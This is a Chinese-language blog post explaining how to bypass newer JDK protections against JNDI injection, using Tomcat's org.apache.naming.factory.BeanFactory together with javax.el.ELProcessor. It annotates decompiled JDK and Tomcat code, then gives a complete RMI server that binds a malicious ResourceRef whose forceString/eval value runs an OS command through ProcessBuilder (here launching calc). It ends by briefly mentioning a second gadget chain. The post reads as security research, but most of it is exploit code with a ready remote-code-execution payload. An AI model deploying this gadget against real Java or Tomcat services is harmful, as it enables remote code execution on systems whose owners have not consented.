JNDI注入高版本绕过

方法一:本地恶意工厂类绕过

org.apache.naming.factory.BeanFactory+javax.el.ELProcessor
tomcat新版本的org.apache.naming.factory.BeanFactory已删除利用特性:factory

rivate Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            Reference var8 = null;
            if (var3 instanceof Reference) {
                var8 = (Reference)var3;
            } else if (var3 instanceof Referenceable) {
                var8 = ((Referenceable)((Referenceable)var3)).getReference();
            }
            //从上面的代码可以看到,var8是传入的Reference对象,var8得满足三个条件才能进入下一步:var8不等于空,var8的工厂类地址不能为false,trustURLCodebase不为false
            if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            } else {
                return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            }
        } catch (NamingException var5) {
            throw var5;
        } catch (RemoteException var6) {
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
        } catch (Exception var7) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var7);
            throw var4;
        }
    }

本地恶意工厂类就是绕过了var8的工厂类地址不能为false,让其变为false,从而进入下一步。

public static Object
        getObjectInstance(Object refInfo, Name name, Context nameCtx,
                          Hashtable<?,?> environment)
        throws Exception
    {

        ObjectFactory factory;

        // Use builder if installed
        ObjectFactoryBuilder builder = getObjectFactoryBuilder();
        if (builder != null) {
            // builder must return non-null factory
            factory = builder.createObjectFactory(refInfo, environment);
            return factory.getObjectInstance(refInfo, name, nameCtx,
                environment);
        }

        // Use reference if possible
        Reference ref = null;
        if (refInfo instanceof Reference) {
            ref = (Reference) refInfo;
        } else if (refInfo instanceof Referenceable) {
            ref = ((Referenceable)(refInfo)).getReference();
        }

        Object answer;
        //Reference对象不为空,则先获取工厂类的名称
        if (ref != null) {
            String f = ref.getFactoryClassName();
            //工厂类名称不为空,再进入下一步
            if (f != null) {
                // if reference identifies a factory, use exclusively
                //getObjectFactoryFromReference函数决定了是从本地获取工厂类还是从远程URL获取工厂类
                factory = getObjectFactoryFromReference(ref, f);
                if (factory != null) {
                    //执行getObjectInstance方法
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;
            //如果Reference对象为空,则通过网络去请求
            } else {
                // if reference has no factory, check for addresses
                // containing URLs

                answer = processURLAddrs(ref, name, nameCtx, environment);
                if (answer != null) {
                    return answer;
                }
            }
        }

        // try using any specified factories
        answer =
            createObjectFromFactories(refInfo, name, nameCtx, environment);
        return (answer != null) ? answer : refInfo;
    }
static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        //加载本地class
        try {
             *****elper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        //本地class没找到,再远程加载class
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                *****elper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

到此就知道了为什么可以指定恶意工厂类进行高版本绕过了,但恶意工厂类需要两个条件:

  • 必须实现javax.naming.spi.ObjectFactory接口
  • 实现该接口的getObjectInstance()方法

tomcat的org.apache.naming.factory.BeanFactory刚好符合条件。

public class BeanFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
        if (obj instanceof ResourceRef) {
            try {
                //获取目标类
                Reference ref = (Reference)obj;
                //获取目标类对象的类名
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                //获取类加载器
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        //加载目标类
                        beanClass = tcl.loadClass(beanClassName);
                    } catch (ClassNotFoundException var26) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch (ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }

                if (beanClass == null) {
                    throw new NamingException("Class not found: " + beanClassName);
                } else {
                    //获取该类的所有属性,如setter信息、getter信息
                    BeanInfo bi = Introspector.getBeanInfo(beanClass);
                    //获取该类的每一个属性
                    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                    //实例化对象,触发无参构造函数
                    Object bean = beanClass.getConstructor().newInstance();
                    //从目标类中获取forceString参数
                    RefAddr ra = ref.get("forceString");
                    Map<String, Method> forced = new HashMap();
                    if (ra != null) {
                        //获取目标类的forceString键值对的值
                        String value = (String)ra.getContent();
                        Class<?>[] paramTypes = new Class[]{String.class};
                        //遍历forceString键值对的所有值
                        for(String param : value.split(",")) {
                            param = param.trim();
                            int index = param.indexOf(61);
                            String setterName;
                            //找forceString键值对中有等号的值
                            if (index >= 0) {
                                //获取等号右边的值
                                setterName = param.substring(index + 1).trim();
                                //获取等号左边的值
                                param = param.substring(0, index).trim();
                            } else {
                                setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                            }

                            try {
                                //保存到Map中
                                forced.put(param, beanClass.getMethod(setterName, paramTypes));
                            } catch (SecurityException | NoSuchMethodException var24) {
                                throw new NamingException("Forced String setter " + setterName + " not found for property " + param);
                            }
                        }
                    }
                    //获取目标类的所有键值对
                    Enumeration<RefAddr> e = ref.getAll();
                    //开始遍历
                    while(e.hasMoreElements()) {
                        ra = (RefAddr)e.nextElement();
                        //获取键值对的键
                        String propName = ra.getType();
                        //键中没有factory、scope、auth、forceString、singleton,进入if语句
                        if (!propName.equals("factory") && !propName.equals("scope") && !propName.equals("auth") && !propName.equals("forceString") && !propName.equals("singleton")) {
                            //获得键值对的值
                            String value = (String)ra.getContent();
                            Object[] valueArray = new Object[1];
                            //获得上面存到Map中的键值对的值并转型为Meothod类型,需要目标类有eval(String)方法才能进行rce
                            Method method = (Method)forced.get(propName);
                            if (method != null) {
                                valueArray[0] = value;

                                try {
                                    //最终调用点,等于bean.method(valueArray)
                                    method.invoke(bean, valueArray);
                                } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                    throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                                }
                            } else {
                                int i = 0;

                                for(i = 0; i < pda.length; ++i) {
                                    if (pda[i].getName().equals(propName)) {
                                        Class<?> propType = pda[i].getPropertyType();
                                        if (propType.equals(String.class)) {
                                            valueArray[0] = value;
                                        } else if (!propType.equals(Character.class) && !propType.equals(Character.TYPE)) {
                                            if (!propType.equals(Byte.class) && !propType.equals(Byte.TYPE)) {
                                                if (!propType.equals(Short.class) && !propType.equals(Short.TYPE)) {
                                                    if (!propType.equals(Integer.class) && !propType.equals(Integer.TYPE)) {
                                                        if (!propType.equals(Long.class) && !propType.equals(Long.TYPE)) {
                                                            if (!propType.equals(Float.class) && !propType.equals(Float.TYPE)) {
                                                                if (!propType.equals(Double.class) && !propType.equals(Double.TYPE)) {
                                                                    if (!propType.equals(Boolean.class) && !propType.equals(Boolean.TYPE)) {
                                                                        throw new NamingException("String conversion for property " + propName + " of type '" + propType.getName() + "' not available");
                                                                    }

                                                                    valueArray[0] = Boolean.valueOf(value);
                                                                } else {
                                                                    valueArray[0] = Double.valueOf(value);
                                                                }
                                                            } else {
                                                                valueArray[0] = Float.valueOf(value);
                                                            }
                                                        } else {
                                                            valueArray[0] = Long.valueOf(value);
                                                        }
                                                    } else {
                                                        valueArray[0] = Integer.valueOf(value);
                                                    }
                                                } else {
                                                    valueArray[0] = Short.valueOf(value);
                                                }
                                            } else {
                                                valueArray[0] = Byte.valueOf(value);
                                            }
                                        } else {
                                            valueArray[0] = value.charAt(0);
                                        }

                                        Method setProp = pda[i].getWriteMethod();
                                        if (setProp == null) {
                                            throw new NamingException("Write not allowed for property: " + propName);
                                        }

                                        setProp.invoke(bean, valueArray);
                                        break;
                                    }
                                }

                                if (i == pda.length) {
                                    throw new NamingException("No set method found for property: " + propName);
                                }
                            }
                        }
                    }

                    return bean;
                }
            } catch (IntrospectionException ie) {
                NamingException ne = new NamingException(ie.getMessage());
                ne.setRootCause(ie);
                throw ne;
            } catch (ReflectiveOperationException e) {
                Throwable cause = e.getCause();
                if (cause instanceof ThreadDeath) {
                    throw (ThreadDeath)cause;
                } else if (cause instanceof VirtualMachineError) {
                    throw (VirtualMachineError)cause;
                } else {
                    NamingException ne = new NamingException(e.getMessage());
                    ne.setRootCause(e);
                    throw ne;
                }
            }
        } else {
            return null;
        }
    }
}

由上可知,目标类也需要两个条件:

  • 无参构造函数
  • eval(String)方法

javax.el.ELProcessor刚好符合
pyload:

 package org.example.JDNIServer;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        //由于org.apache.naming.factory.BeanFactory需要,所以Reference被换成Reference的子类ResourceRef,支持额外添加属性
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "bitterz=eval"));
        ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("demo", referenceWrapper); 
        System.out.println("Server Started!");
    }
}

org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory+org.apache.commons.configuration2.SystemConfiguration
只能修改系统配置文件,也就是可以设置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"),但是这样设置了也没用,略显鸡肋,当作拓展知识了

未完待续

posted @ 2026-06-24 22:11  死都学不会啊  阅读(19)  评论(0)    收藏  举报